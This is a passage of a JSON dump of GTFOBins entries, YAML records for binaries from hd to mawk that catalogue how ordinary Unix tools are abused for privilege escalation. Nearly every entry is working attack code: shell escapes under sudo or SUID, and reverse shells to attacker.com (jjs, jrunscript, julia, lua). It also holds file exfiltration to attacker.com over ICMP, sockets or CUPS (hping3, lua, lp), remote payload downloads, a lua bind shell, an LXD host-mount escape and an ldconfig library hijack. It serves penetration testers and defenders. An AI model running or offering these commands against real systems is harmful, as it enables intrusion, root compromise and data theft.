    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      hd /path/to/input-file\n    comment: |-\n      The output is actually an hex dump.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/hg",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      hg --config alias.x='!/bin/sh' x\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/highlight",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      highlight --no-doc --failsafe /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/hping3",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      hping3\n      /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          hping3\n          /bin/sh -p\n        shell: false\n      unprivileged:\n  upload:\n  - code: |-\n      hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-file\n    comment: |-\n      The file is continuously sent as ICMP packets (e.g., of `999` bytes), the optional `--end` parameter signals when the file reached the end.\n    contexts:\n      sudo:\n    receiver:\n      code: |-\n        hping3 --icmp --listen xxx --dump\n      comment: |-\n        The same program can be used on the attacker box to receive the data.\n...\n"
  },
  {
    "path": "_gtfobins/iconv",
    "content": "---\ncomment: |-\n  The `8859_1` encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result.\nfunctions:\n  file-read:\n  - code: |-\n      iconv -f 8859_1 -t 8859_1 /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA | iconv -f 8859_1 -t 8859_1 -o /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/iftop",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      iftop\n      !/bin/sh\n    comment: |-\n      This requires the privilege to capture on some device (specify with `-i` if needed).\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    version: |-\n      0.17\n...\n"
  },
  {
    "path": "_gtfobins/install",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      install -m 6777 /path/to/input-file /path/to/output-dir/\n    comment: |-\n      This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/ionice",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ionice /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ionice /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ip",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      ip -force -batch /path/to/input-file\n    comment: |-\n      The read file content is corrupted by error prints.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      ip netns add foo\n      ip netns exec foo /bin/sh\n      ip netns delete foo\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ip netns add foo\n          ip netns exec foo /bin/sh -p\n          ip netns delete foo\n    version: |-\n      This only works for Linux with `CONFIG_NET_NS=y`.\n  - code: |-\n      ip netns add foo\n      ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar\n      ip netns exec bar /bin/sh\n      ip netns delete foo\n      ip netns delete bar\n    contexts:\n      sudo:\n    version: |-\n      This only works for Linux with `CONFIG_NET_NS=y`.\n...\n"
  },
  {
    "path": "_gtfobins/iptables-save",
    "content": "---\nfunctions:\n  file-write:\n  - binary: false\n    code: |-\n      iptables -A INPUT -i lo -j ACCEPT -m comment --comment DATA\n      iptables -S\n      iptables-save -f /path/to/output-file\n    comment: |-\n      The content is written along with a number of `iptables` rules.\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/irb",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      irb\n      ...\n    comment: |-\n      This allows to run Ruby code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n...\n"
  },
  {
    "path": "_gtfobins/ispell",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ispell /etc/hosts\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ispell /etc/hosts\n          !/bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/java",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      java Shell\n    comment: |-\n      The `Shell.class` class file can be compiled offline, then uploaded to the target:\n\n      ```\n      cat >Shell.java <<EOF\n      public class Shell {\n          public static void main(String[] args) throws Exception {\n              new ProcessBuilder(\"/bin/sh\").inheritIO().start().waitFor();\n          }\n      }\n      EOF\n\n      javac Shell.java\n      ```\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/jjs",
    "content": "---\ncomment: |-\n  This tool is installed starting with Java SE 8.\nfunctions:\n  download:\n  - code: |-\n      jjs\n      var URL = Java.type('java.net.URL');\n      var ws = new URL('http://attacker.com/path/to/input-file');\n      var Channels = Java.type('java.nio.channels.Channels');\n      var rbc = Channels.newChannel(ws.openStream());\n      var FileOutputStream = Java.type('java.io.FileOutputStream');\n      var fos = new FileOutputStream('/path/to/output-file');\n      fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);\n      fos.close();\n      rbc.close();\n    contexts:\n      sudo:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      jjs\n      var BufferedReader = Java.type('java.io.BufferedReader');\n      var FileReader = Java.type('java.io.FileReader');\n      var br = new BufferedReader(new FileReader('/path/to/input-file'));\n      while ((line = br.readLine()) != null) { print(line); }\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      jjs\n      var FileWriter = Java.type('java.io.FileWriter');\n      var fw=new FileWriter('/path/to/output-file');\n      fw.write('DATA');\n      fw.close();\n    contexts:\n      sudo:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      jjs\n      var host='attacker.com';\n      var port=12345;\n      var ProcessBuilder = Java.type('java.lang.ProcessBuilder');\n      var p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();\n      var Socket = Java.type('java.net.Socket');\n      var s=new Socket(host,port);\n      var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\n      var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();\n    contexts:\n      sudo:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      jjs\n      Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/joe",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      joe\n      ^K!/bin/sh\n    comment: |-\n      The terminal is spawn int the terminal interface.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/join",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      join -a 2 /dev/null /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/journalctl",
    "content": "---\ncomment: |-\n  This might not work if run by unprivileged users depending on the system configuration.\nfunctions:\n  inherit:\n  - code: |-\n      journalctl\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/jq",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      jq -Rr . /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/jrunscript",
    "content": "---\ncomment: |-\n  This tool is installed starting with Java SE 6.\nfunctions:\n  download:\n  - code: |-\n      jrunscript -e 'cp(\"http://attacker.com/path/to/input-file\",\"/path/to/output-file\")'\n    contexts:\n      sudo:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - binary: false\n    code: |-\n      jrunscript -e 'br = new BufferedReader(new java.io.FileReader(\"/path/to/input-file\"));\n          while ((line = br.readLine()) != null) { print(line); }'\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      jrunscript -e 'var fw=new java.io.FileWriter(\"/path/to/output-file\");\n          fw.write(\"DATA\");\n          fw.close();'\n    contexts:\n      sudo:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      jrunscript -e 'var host=\"attacker.com\";\n          var port=12345;\n          var p=new java.lang.ProcessBuilder(\"/bin/sh\", \"-i\").redirectErrorStream(true).start();\n          var s=new java.net.Socket(host,port);\n          var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\n          var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){\n          while(pi.available()>0)so.write(pi.read());\n          while(pe.available()>0)so.write(pe.read());\n          while(si.available()>0)po.write(si.read());\n          so.flush();po.flush();\n          java.lang.Thread.sleep(50);\n          try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'\n    contexts:\n      sudo:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      jrunscript -e 'exec(\"/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty\")'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          jrunscript -e 'exec(\"/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty\")'\n        comment: |-\n          This has been found working in macOS but failing on Linux systems.\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/jshell",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      jshell\n      jshell> /open /path/to/input-file\n    comment: |-\n      The content is leaked as error messages.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      jshell\n      String x = \"DATA\";\n      /save /path/to/output-file\n    comment: |-\n      Writes only the valid Java code to file.\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - blind: true\n    code: |-\n      jshell\n      Runtime.getRuntime().exec(\"/path/to/command\");\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/jtag",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      jtag --interactive\n      shell /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/julia",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      julia -e 'download(\"http://attacker.com/path/to/input-file\", \"/path/to/output-file\")'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      julia -e 'print(open(f->read(f, String), \"/path/to/input-file\"))'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      julia -e 'open(f->write(f, \"DATA\"), /path/to/output-file, \"w\")'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      julia -e 'using Sockets; sock=connect(\"attacker.com\", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      julia -e 'run(`/bin/sh`)'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          julia -e 'run(`/bin/sh -p`)'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/knife",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      knife exec -E '...'\n    comment: |-\n      This allows to run Ruby code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n...\n"
  },
  {
    "path": "_gtfobins/ksh",
    "content": "---\nalias: bash\n...\n"
  },
  {
    "path": "_gtfobins/ksshell",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      ksshell -i /path/to/input-file\n    comment: |-\n      Each line is corrupted by a prefix string. Also consider that lines are actually parsed as `kickstart` scripts thus some file contents may lead to unexpected results.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ksu",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ksu -q -e /bin/sh\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/kubectl",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      cat >/path/to/temp-file <<EOF\n      clusters:\n      - cluster:\n          server: https://x\n        name: x\n      contexts:\n      - context:\n          cluster: x\n          user: x\n        name: x\n      current-context: x\n      users:\n      - name: x\n        user:\n          exec:\n            apiVersion: client.authentication.k8s.io/v1\n            interactiveMode: Always\n            command: /bin/sh\n            args:\n              - '-c'\n              - '/bin/sh 0<&2 1>&2'\n      EOF\n\n      kubectl get pods --kubeconfig=/path/to/temp-file\n    comment: |-\n      The shell is spawn multiple times.\n    contexts:\n      sudo:\n      unprivileged:\n  upload:\n  - code: |-\n      kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver:\n      code: |-\n        curl victim.com:12345/x/path/to/input-file -o /path/to/output-file\n      comment: |-\n        An HTTP client can be used on the attacker box to receive the data.\n...\n"
  },
  {
    "path": "_gtfobins/last",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      last -a -f /path/to/input-file\n    comment: |-\n      The output might be corrupted or incomplete if the file does not follow the expected database format.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/lastb",
    "content": "---\nalias: last\n...\n"
  },
  {
    "path": "_gtfobins/latex",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{/path/to/input-file}\\end{document}'\n      strings texput.dvi\n    comment: |-\n      The read file will be part of the PDF output.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      latex '\\documentclass{article}\\newwrite\\tempfile\\begin{document}\\immediate\\openout\\tempfile=output-file.tex\\immediate\\write\\tempfile{DATA}\\immediate\\closeout\\tempfile\\end{document}'\n    comment: |-\n      The file can only be written in the current directory, and the `.tex` extension is mandatory.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      latex --shell-escape '\\immediate\\write18{/bin/sh}'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/latexmk",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      echo '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{/path/to/input-file}\\end{document}' >/path/to/temp-file\n      latexmk -dvi /path/to/temp-file\n      strings temp-file.dvi\n    comment: |-\n      The read file will be part of the output.\n    contexts:\n      sudo:\n      unprivileged:\n  inherit:\n  - code: |-\n      latexmk -e '...'\n    comment: |-\n      This allows to run Perl code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: perl\n  shell:\n  - code: |-\n      latexmk -pdf -pdflatex='/bin/sh #' /dev/null\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ldconfig",
    "content": "---\nfunctions:\n  library-load:\n  - code: |-\n      echo /path/to/temp-dir/ >/path/to/temp-file\n      ldconfig -f /path/to/temp-file\n      ping\n    comment: |-\n      This allows to override one or more shared libraries (e.g., `libpcap`) globally, then triggers the execution by running a program that uses it, e.g., `ping`. This is particularly useful if the target binary is SUID. Beware though that it is easy to end up with a broken target system.\n\n      First identify the shared libraries used by the target program, for example:\n\n      ```\n      $ ldd /bin/ping | grep libcap\n              libcap.so.2 => /path/to/temp-dir/libcap.so.2 (0x00007f8417eef000)\n      ```\n\n      Then create the shared library override, named `libcap.so.2`, and put in in `/path/to/temp-dir/`. The program might require some exported symbols from the library override, in that case make sure to add them (e.g., `void cap_get_flag() {}`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/less",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      cp /path/to/command ~/.lessfilter\n      less /etc/hosts\n    contexts:\n      unprivileged:\n  - code: |-\n      LESSOPEN='/path/to/command # %s' less /etc/hosts\n    contexts:\n      sudo:\n      unprivileged:\n  file-read:\n  - code: |-\n      less /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      less /etc/hosts\n      :e /path/to/input-file\n    comment: |-\n      This can be used to read another file, e.g., when invoked as a pager with some fixed content.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts\n    comment: |-\n      This can be used to read another file.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA | less\n      s/path/to/output-file\n      q\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      less /etc/hosts\n      v\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: vi\n  shell:\n  - code: |-\n      less /etc/hosts\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      LESSOPEN=\"/bin/sh -s 1>&0 2>&0 # %s\" less /etc/hosts\n      reset\n    comment: |-\n      The optional `reset` command is needed to receive the echo back of the typed keystrokes.\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      VISUAL='/bin/sh -s --' less /etc/hosts\n      v\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/lftp",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      lftp -c '!/bin/sh'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/links",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      links /path/to/input-file\n    comment: |-\n      The result is displayed in a TUI interface.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ln",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      ln -fs /bin/sh /bin/ln\n      ln\n    comment: |-\n      This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action.\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/loginctl",
    "content": "---\ncomment: |-\n  This might not work if run by unprivileged users depending on the system configuration.\nfunctions:\n  shell:\n  - code: |-\n      loginctl user-status\n      !/bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/logrotate",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      logrotate /path/to/input-file\n    comment: |-\n      The first word is returned in a error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      logrotate -l /path/to/output-file DATA\n    comment: |-\n      The content is written in a log file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      echo -e '/path/to/temp-file.config {\\nmail x@x.x\\n}' >/path/to/temp-file.config\n      echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh\n      logrotate -m /path/to/temp-file.sh -f /path/to/temp-file\n    comment: |-\n      This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/logsave",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      logsave /dev/null /bin/sh -i\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          logsave /dev/null /bin/sh -i -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/look",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      look '' /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/lp",
    "content": "---\nfunctions:\n  upload:\n  - code: |-\n      lp /path/to/input-file -h attacker.com\n    comment: |-\n      This requires `cups` to be installed. Run the following on the attacker box beforehand:\n\n      1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;\n      2. `lpadmin -d printer` to set the new printer as default;\n      3. `cupsctl --remote-any` to enable printing from the Internet.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver:\n      code: |-\n        nc -l -p 9100 >/path/to/output-file\n      comment: |-\n        A TCP server can be used on the attacker box to receive the data.\n...\n"
  },
  {
    "path": "_gtfobins/ltrace",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      ltrace -F /path/to/input-file /dev/null\n    comment: |-\n      The file is parsed as a configuration file and its content is shown as error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      ltrace -s 999 -o /path/to/input-file ltrace -F DATA\n    comment: |-\n      The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of `ltrace -F DATA`.\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      ltrace -b -L /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/lua",
    "content": "---\nfunctions:\n  bind-shell:\n  - code: |-\n      lua -e '\n        local k=require(\"socket\");\n        local s=assert(k.bind(\"*\",12345));\n        local c=s:accept();\n        while true do\n          local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n          local b=assert(f:read(\"*a\"));c:send(b);\n        end;c:close();f:close();'\n    comment: |-\n      This requires `lua-socket` to be available.\n    connector: tcp-client\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  download:\n  - code: |-\n      lua -e '\n        local k=require(\"socket\");\n        local s=assert(k.bind(\"*\",12345));\n        local c=s:accept();\n        local d,x=c:receive(\"*a\");\n        c:close();\n        local f=io.open(\"/path/to/output-file\", \"wb\");\n        f:write(d);\n        io.close(f);'\n    comment: |-\n      This requires `lua-socket` to be available.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: tcp-client\n  file-read:\n  - code: |-\n      lua -e 'local f=io.open(\"/path/to/input-file\", \"rb\"); io.write(f:read(\"*a\")); io.close(f);'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      lua -e 'local f=io.open(\"/path/to/output-file\", \"wb\"); f:write(\"DATA\"); io.close(f);'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      lua -e '\n        local s=require(\"socket\");\n        local t=assert(s.tcp());\n        t:connect(\"attacker.com\",12345);\n        while true do\n          local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n          local b=assert(f:read(\"*a\"));t:send(b);\n        end;\n        f:close();t:close();'\n    comment: |-\n      This requires `lua-socket` to be available.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      lua -e 'os.execute(\"/bin/sh\")'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  upload:\n  - code: |-\n      lua -e '\n        local f=io.open(\"/path/to/input-file\", \"rb\")\n        local d=f:read(\"*a\")\n        io.close(f);\n        local s=require(\"socket\");\n        local t=assert(s.tcp());\n        t:connect(\"attacker.com\",12345);\n        t:send(d);\n        t:close();'\n    comment: |-\n      This requires `lua-socket` to be available.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/lualatex",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      lualatex -shell-escape '\\directlua{...}\\end'\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n...\n"
  },
  {
    "path": "_gtfobins/luatex",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      luatex -shell-escape '\\directlua{...}\\end'\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n...\n"
  },
  {
    "path": "_gtfobins/lwp-download",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      lwp-download http://attacker.com/path/to/input-file /path/to/output-file\n    comment: |-\n      The destination file `/path/to/output-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.\n    contexts:\n      sudo:\n      unprivileged:\n  file-read:\n  - code: |-\n      lwp-download file:///path/to/input-file /dev/stdout\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      lwp-download file:///path/to/temp-file /path/to/output-file\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      lwp-download file:///path/to/input-file /path/to/output-file\n    comment: |-\n      This actually copies a file to a destination.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/lwp-request",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      lwp-request file:///path/to/input-file\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/lxd",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      lxc init ubuntu:16.04 x -c security.privileged=true\n      lxc config device add x x disk source=/ path=/mnt/ recursive=true\n      lxc start x\n      lxc exec x /bin/sh\n    comment: |-\n      The image (e.g., `ubuntu:16.04`) must be present already, otherwise it will be downloaded.\n    contexts:\n      sudo:\n      suid:\n  - code: |-\n      lxc image import ./alpine*.tar.gz --alias x\n      lxc init x x -c security.privileged=true\n      lxc config device add x x disk source=/ path=/mnt/ recursive=true\n      lxc start x\n      lxc exec x /bin/sh\n    comment: |-\n      This requires steps to be run offline, then the resulting image must be uploaded to target. Build the local image with [lxd-alpine-builder](https://github.com/saghul/lxd-alpine-builder):\n\n      ```\n      git clone https://github.com/saghul/lxd-alpine-builder\n      cd lxd-alpine-builder\n      sudo ./build-alpine -a i686\n      ```\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/m4",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      echo 'esyscmd(/path/to/command)' | m4\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  file-read:\n  - binary: false\n    code: |-\n      m4 /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/mail",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      mail --exec='!/bin/sh'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    version: |-\n      GNU\n  - code: |-\n      mail -f /etc/hosts\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/make",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      make -s --eval='$(file >/dev/stdout,$(file </path/to/input-file))' .\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n  file-write:\n  - code: |-\n      make -s --eval='$(file >/path/to/output-file,DATA)' .\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n  shell:\n  - code: |-\n      make --eval='$(shell /bin/sh 1>&0)' .\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    version: |-\n      GNU\n...\n"
  },
  {
    "path": "_gtfobins/man",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      man /path/to/input-file\n    comment: |-\n      The file is shown somehow formatted and displayed in the default pager.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      man man\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n  shell:\n  - code: |-\n      man '-H/bin/sh #' man\n    comment: |-\n      This requires GNU `troff` (`groff`) to be installed.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    version: |-\n      GNU\n...\n"
  },
  {
    "path": "_gtfobins/mawk",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      mawk '//' /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      mawk 'BEGIN { print \"DATA\" > \"/path/to/output-file\" }'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      mawk 'BEGIN {system(\"/bin/sh\")}'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/minicom",
